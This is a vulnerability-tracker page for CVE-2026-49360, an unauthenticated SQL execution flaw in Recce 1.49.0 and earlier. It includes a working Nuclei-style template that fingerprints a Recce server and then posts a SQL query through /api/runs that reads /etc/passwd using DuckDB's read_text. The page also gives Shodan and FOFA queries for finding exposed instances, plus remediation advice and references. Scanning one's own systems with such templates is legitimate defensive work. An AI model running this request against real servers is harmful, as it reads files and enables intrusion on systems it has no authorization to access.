CVE-2026-49360: Recce <= 1.49.0 - Unauthenticated SQL Execution to Local File Read

2026-11-29 PoC Public

Description

Recce OSS server up to and including 1.49.0 exposes the query run API (/api/runs) without authentication. When the project uses a DuckDB-backed dbt profile, an unauthenticated attacker can execute arbitrary SQL and use DuckDB filesystem functions such as read_text to read, and COPY TO to write, files accessible to the Recce server process.

Details

CVE
CVE-2026-49360 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-49360

info:
  name: Recce <= 1.49.0 - Unauthenticated SQL Execution to Local File Read
  author: s4e-io
  severity: high
  description: |
    Recce OSS server up to and including 1.49.0 exposes the query run API (/api/runs) without authentication. When the project uses a DuckDB-backed dbt profile, an unauthenticated attacker can execute arbitrary SQL and use DuckDB filesystem functions such as read_text to read, and COPY TO to write, files accessible to the Recce server process.
  impact: |
    Unauthenticated attackers can read local files, tamper with Recce and dbt artifacts, modify browser-served static files leading to stored XSS, and modify application files when those paths are writable by the Recce process.
  remediation: |
    Upgrade Recce to version 1.50.0 or later, which disables DuckDB external access by default. Do not expose recce server to untrusted networks without an authenticating reverse proxy or VPN.
  reference:
    - https://github.com/DataRecce/recce/security/advisories/GHSA-rh62-j648-g5qc
    - https://github.com/DataRecce/recce/commit/6fa9377e2d93972381d9291e154d75d3c7d79e73
    - https://github.com/DataRecce/recce/releases/tag/v1.50.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49360
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:H/SA:N
    cvss-score: 7.8
    cve-id: CVE-2026-49360
    epss-score: 0.02551
    epss-percentile: 0.85792
    cwe-id: CWE-73
  metadata:
    verified: true
    max-request: 2
    vendor: datarecce
    product: recce
    shodan-query: http.title:"recce"
    fofa-query: title="recce"
  tags: cve,cve2026,recce,datarecce,duckdb,sqli,lfr,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/instance-info"

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, '\"server_mode\"', '\"cloud_instance\"', '\"single_env\"')"
          - "contains(content_type, 'application/json')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /api/runs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"type":"query","params":{"sql_template":"select content from read_text('/etc/passwd')"},"nowait":false}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, '\"run_id\"', '\"sql_template\"')"
          - "regex('root:.*:0:0:', body)"
          - "status_code == 201"
        condition: and
# digest: 4b0a00483046022100fcd5f69ae1c8509ebe1e3eb5b88124c51fe6379c1dcee3d7e1b2526ecc170a1402210084d56c9e72476a10c364a4924b4b429197fc45c4bc61bf1bee9f8b494ae0e11c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life